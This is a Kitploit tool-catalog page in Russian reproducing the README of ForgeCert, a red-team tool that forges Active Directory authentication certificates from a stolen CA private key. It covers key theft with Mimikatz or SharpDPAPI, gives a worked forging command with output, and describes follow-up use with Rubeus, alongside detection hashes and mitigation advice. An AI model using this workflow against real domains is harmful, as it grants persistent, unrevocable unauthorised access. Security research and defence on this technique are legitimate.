Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ForgeCert — Форжинг сертификатов для аутентификации в Active Directory с использованием украденных закрытых ключей Центра сертификации, что обеспечивает постоянный доступ к домену с помощью поддельных .pfx-файлов. | Kitploit
Инструменты/GitHubGitHub/ghostpack/forgecert
Генерация полезной нагрузкиМеханизмы персистентностиЭксплуатацияАутентификация
GitHubghostpack/forgecert

ForgeCert

Форжинг сертификатов для аутентификации в Active Directory с использованием украденных закрытых ключей Центра сертификации, что обеспечивает постоянный доступ к домену с помощью поддельных .pfx-файлов.

Репозиторий
715115193 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ForgeCert

ForgeCert использует BouncyCastle C# API и украденный сертификат центра сертификации (CA) + закрытый ключ для создания поддельных сертификатов для произвольных пользователей, способных пройти аутентификацию в Active Directory.

Эта атака обозначена как DPERSIST1 в нашей технической статье "Certified Pre-Owned". Данный код был опубликован примерно через 45 дней после публикации статьи.

@tifkin_ является основным автором ForgeCert.

@tifkin_ и @harmj0y являются основными авторами сопутствующего исследования служб сертификации Active Directory (блог и техническая статья).

Background

Как описано в разделах Background и Forging Certificates with Stolen CA Certificates - DPERSIST1 нашей технической статьи, закрытый ключ сертификата центра сертификации (CA) защищается на сервере CA либо с помощью DPAPI, либо аппаратно (HSM/TPM). Кроме того, сам сертификат (без закрытого ключа) публикуется в лесном объекте NTAuthCertificates, который определяет сертификаты CA, разрешающие аутентификацию в AD. В совокупности, CA, чей сертификат присутствует в NTAuthCertificates, использует свой закрытый ключ для подписи запросов на подпись сертификатов (CSR) от клиентов. Эта диаграмма суммирует процесс:

Безопасность закрытого ключа CA имеет первостепенное значение. Как уже упоминалось, если закрытый ключ не защищен аппаратным решением, таким как TPM или HSM, ключ будет зашифрован с помощью API защиты данных (DPAPI) и сохранен на диске сервера CA. Если злоумышленнику удастся скомпрометировать сервер CA, он сможет извлечь закрытый ключ для любого сертификата CA, не защищенного аппаратно, используя Mimikatz от @gentilkiwi или проект SharpDPAPI от GhostPack. THEFT3 в технической статье описывает этот процесс для машинных сертификатов.

Поскольку единственным ключевым материалом, используемым для подписи выданных сертификатов, является закрытый ключ CA, если злоумышленник украдет такой ключ (для сертификата в NTAuthCertificates), он сможет подделать сертификаты, способные обеспечить аутентификацию в домене. Эти поддельные сертификаты могут быть созданы для любого участника домена (хотя учетная запись должна быть "активной" для возможности аутентификации, поэтому такие учетные записи, как krbtgt, не подойдут), и сертификаты будут действительны до тех пор, пока действителен сертификат CA (обычно 5 лет по умолчанию, но может быть установлен более длительный срок).

Кроме того, поскольку эти сертификаты не являются продуктом обычного процесса выдачи, CA не знает об их создании. Таким образом, сертификаты не могут быть отозваны.

Примечание: закрытый ключ ЛЮБОГО сертификата CA в NTAuthCertificates (корневого или подчиненного CA) может быть использован для подделки сертификатов, способных обеспечить аутентификацию в лесу. Если сертификат/ключ от подчиненного CA, необходимо предоставить легитимный CRL для проверки цепочки сертификатов.

ForgeCert использует BouncyCastle's X509V3CertificateGenerator для выполнения подделок.

Command Line Usage

C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c  2021

ERROR(S):
  Required option 'CaCertPath' is missing.
  Required option 'SubjectAltName' is missing.
  Required option 'NewCertPath' is missing.
  Required option 'NewCertPassword' is missing.

  --CaCertPath         Required. CA private key as a .pfx or .p12 file

  --CaCertPassword     Password to the CA private key file

  --Subject            (Default: CN=User) Subject name in the certificate

  --SubjectAltName     Required. UPN of the user to authenticate as

  --NewCertPath        Required. Path where to save the new .pfx certificate

  --NewCertPassword    Required. Password to the .pfx file

  --CRL                ldap path to a CRL for the forged certificate

  --help               Display this help screen.

  --version            Display version information.

Usage

Примечание: полное описание кражи закрытого ключа CA и подделки сертификатов аутентификации см. в разделе DPERSIST1 в технической статье.

Контекст:

  • Украденный сертификат CA — ca.pfx, зашифрованный паролем Password123!
  • Субъект произволен, так как мы указываем альтернативное имя субъекта для сертификата.
  • Альтернативное имя субъекта (т.е. пользователь, для которого мы создаем поддельный сертификат) — [email protected].
  • Поддельный сертификат будет сохранен как localadmin.pfx, зашифрованный паролем NewPassword123!
C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
  Subject:        CN=theshire-DC-CA, DC=theshire, DC=local
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     1/4/2021 10:48:02 AM
  End Date:       1/4/2026 10:58:02 AM
  Thumbprint:     187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
  Serial:         14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: [email protected]
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     7/26/2021 3:38:45 PM
  End Date:       7/26/2022 3:38:45 PM
  Thumbprint:     C5789A24E91A40819EFF7CFD77150595F8B9878D
  Serial:         3627A48F90F6869C3215FF05BC3B2E42

Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!'

Эту подделку можно выполнить на системе, контролируемой злоумышленником, и полученный сертификат можно использовать с Rubeus для запроса TGT (и/или получения NTLM хеша пользователя ;)

Defensive Considerations

TypeRefHash текущей кодовой базы ForgeCert: b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.

TypeLib GUID ForgeCert: bd346689-8ee6-40b3-858b-4ed94f08d40a. Это отражено в Yara-правилах, находящихся в этом репозитории.

См. разделы PREVENT1, DETECT3 и DETECT5 в нашей технической статье для получения рекомендаций по предотвращению и обнаружению.

Fabian Bader опубликовал отличный пост о том, как смягчить многие случаи использования "Golden Certificates" с помощью настроек Microsoft OCSP. Однако обратите внимание, что в разделе Final Thoughts он упоминает: This method is not bulletproof at all. Since the attacker is in charge of the certificate creation process, she could just change the serial number to a valid one. Это было реализовано в его PR, хотя помните, что по умолчанию серийный номер будет рандомизирован, что означает, что защита с помощью OCSP должна работать во многих случаях, и, по нашему мнению, ее стоит внедрить.

Скачать инструмент